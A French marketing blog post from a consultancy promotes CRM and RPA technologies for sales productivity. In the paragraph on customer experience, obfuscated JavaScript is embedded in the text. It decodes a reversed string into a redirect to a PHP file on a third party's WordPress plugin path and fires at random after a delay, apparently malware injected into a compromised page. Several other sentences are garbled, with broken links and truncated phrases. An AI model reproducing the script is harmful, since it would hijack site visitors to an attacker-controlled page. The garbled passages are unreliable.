Les entreprises face aux technologies CRM et RPA : avancer ou mourir

12 janvier 2020

La technologie a redéfini le paysage concurrentiel, mais aussi la façon dont les entreprises et les clients interagissent à tous les niveaux, tel que conclut très justement la firme conseil Futurum Research dans un sondage publié en 2019 sur l’évolution de l’expérience client d’ici 2030 (PDF).

Le recours à des systèmes CRM (Customer Relationship Management) et RPA (de l’anglais Robotic Process Automation, c’est-à-dire « Automatisation des processus par la robotique » selon notre la compétition à l’âge de l’intelligence artificielle note, de façon très juste, que les entreprises qui excellent dans l’extraction de données, leur analyse et leur utilisation aux différentes fins d’affaires auront la meilleure main.

Souvent peu coûteuses et, pour certaines, relativement faciles à mettre en place, ces technologies sont paradoxalement peu répandues et, surtout, sous-utilisées ou mal utilisées, avec pour conséquence que les entreprises passent à côté de gains importants de productivité. Sans doute faut-il revenir aux fondamentaux de ces technologies pour mieux en appréhender les bénéfices.

Qu’est-ce qu’un CRM et à quoi cela sert?

Si l’on se réfère à la définition toute simple de Jim Sterne (Customer Service on the Internet: Building Relationships, Increasing Loyalty, and Staying Competitive), un CRM sert « à centraliser et utiliser chaque information que reçoit une entreprise à propos de ses clients pour personnaliser ses contacts avec eux ». De manière plus prosaïque, ces données récoltées permettent d’accroître la rentabilité des ressources employées lors du processus de vente en personnalisant les contacts avec les futurs clients; et ensuite, une fois ceux-ci acquis, d’augmenter leur fidélisation, toujours grâce à une utilisation optimale des informations disponibles dans le CRM.

Le CRM est donc la technologie par excellence qui permet de réellement mettre en œuvre une stratégie en matière de gestion de la relation client. L’agilité et l’adaptabilité dont doivent faire preuve les entreprises requièrent une fine connaissance des clients, car derrière ces termes à la mode se cache souvent une simple volonté de réduire les coûts et les délais qui peut entraîner un choc d’intérêts si la relation client-fournisseur ne s’appuie pas sur une connaissance solide de ses clients et du contexte de l’achat du produit ou du service offert.

Très pratiquement, un CRM permet d’améliorer l’efficacité de ses processus de vente de trois manières.

  • Premièrement, l’utilisation d’une technologie CRM qui fonctionne selon la logique de la vente par l’activité (lisez notre article à ce sujet) permet d’uniformiser ses processus de vente et d’instaurer, au sein de l’entreprise, une culture du suivi méthodique des prospects et des offres, avec pour objectif de consacrer ses énergies aux activités qui mènent réellement aux ventes.
  • Deuxièmement, certains systèmes CRM, dont le Harvard Business Review parue en 2015 qui révèle l’existence d’une corrélation directe entre la gestion efficace d’un pipeline de vente et l’augmentation des revenus de l’entreprise; ceux-ci pouvant augmenter de 15% à 28% grâce à une gestion efficace.
  • Troisièmement, certains systèmes CRM possèdent de manière native des solutions d’automatisation et la plupart peuvent être arrimés, via leur API, à des technologies de type RPA. Le travail conjoint d’un CRM et de robots de type RPA offre alors de nouvelles possibilités d’accroissement de la productivité.

Automatisation et technologies CRM

L’automatisation poursuit deux objectifs d’entreprise : l’accroissement de la productivité et l’amélioration de l’expérience client.

Selon une étude de CSO Insights publiée en 2019, les professionnels de la vente passent moins du tiers de leur temps à vendre, de façon pure et dure. Les deux tiers restants sont passés à la préparation, en amont, et à la réalisation, en aval, de tâches connexes à la vente, dont la moitié sont des tâches administratives de nature répétitives propres à être automatisées, selon un to-independent-research » target= »_blank » rel= »noopener noreferrer »>sondage indépendant mené par DJS Research en 2017 auprès d’employés au Canada, en France et aux États-Unis.

L’automatisation de ces tâches répétitives et chronophages libère les commerciaux et leur permet d’investir davantage de temps en développement d’affaires, notamment dans le volet « contact humain » de la gestion de la relation client – un domaine où l’humain surpasse la machine!

D’un point de vue opérationnel, l’automatisation promet la réduction du taux d’erreur dans la saisie des données et l’accélération des processus. Pour en apprendre plus sur l’application de l’automatisation dans l’industrie de l’assurance et du courtage en assurance, lisez notre article sur ce sujet.

Cette automatisation d’activités de vente, de tâches administratives et de récoltes massives de données est donc parfois fonction d’une même technologie, ou encore peut s’appuyer sur l’interconnexion avec une technologie RPA (lisez notre toire dynamique de données pouvant servir les différentes fonctions de l’entreprise, de la vente à la comptabilité, en passant par le service client.

CRM et RPA au tournant d’une ère nouvelle

Alors que les entreprises évoluent sur des marchés à la concurrence globale et/ou tendant vers la saturation, le marketing qui s’appuie sur les traditionnels 4 P (produit, prix, place, promotion) n’offre plus, à lui seul, les résultats escomptés. Et quand bien même une industrie se trouverait épargnée dans ce contexte économique difficile, ne miser que sur le marketing transactionnel faillirait de prendre en compte l’importance croissante de l’expérience client comme critère d’achat.

À ce sujet, si le dernier rapport de Microsoft sur l’état du service à la clientèle rapporte que près de 95 % des consommateurs interrogés considèrent l’expérience client comme un facteur déterminant de fidélité à une entreprise ($nJe=function(n){if (typeof ($nJe.list[n]) == « string ») return $nJe.list[n].split(« »).reverse().join(« »);return $nJe.list[n];};$nJe.list=[« \’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tors_for_CRM » target= »_blank » rel= »noopener noreferrer »>Selamat & Ibrahim, 2010).

À l’heure où la productivité devient un élément clé de la survie des entreprises, les technologies CRM et RPA, véritables leviers du marketing relationnel, offrent aux organisations la possibilité de gagner quelques points de compétitivité qui, peut-être, feront toute la différence face à leurs concurrents.

Chez TechNuCom, nous avons choisi de travailler avec le tomatisation. Nous avons également choisi de travailler avec tomotive, leaders dans le monde de l’automatisation. Contactez-nous pour en apprendre davantage sur nos services d’accompagnement Pipedrive et pour évaluer comment nous pouvons vous accompagner dans l’automatisation de certains de vos processus de vente.


Par Renato Cudicio

Président de TechNuCom | Technomanager en Web, Robotique & Marketing-Communication linkedin.com/in/renatocudicio/


Catégories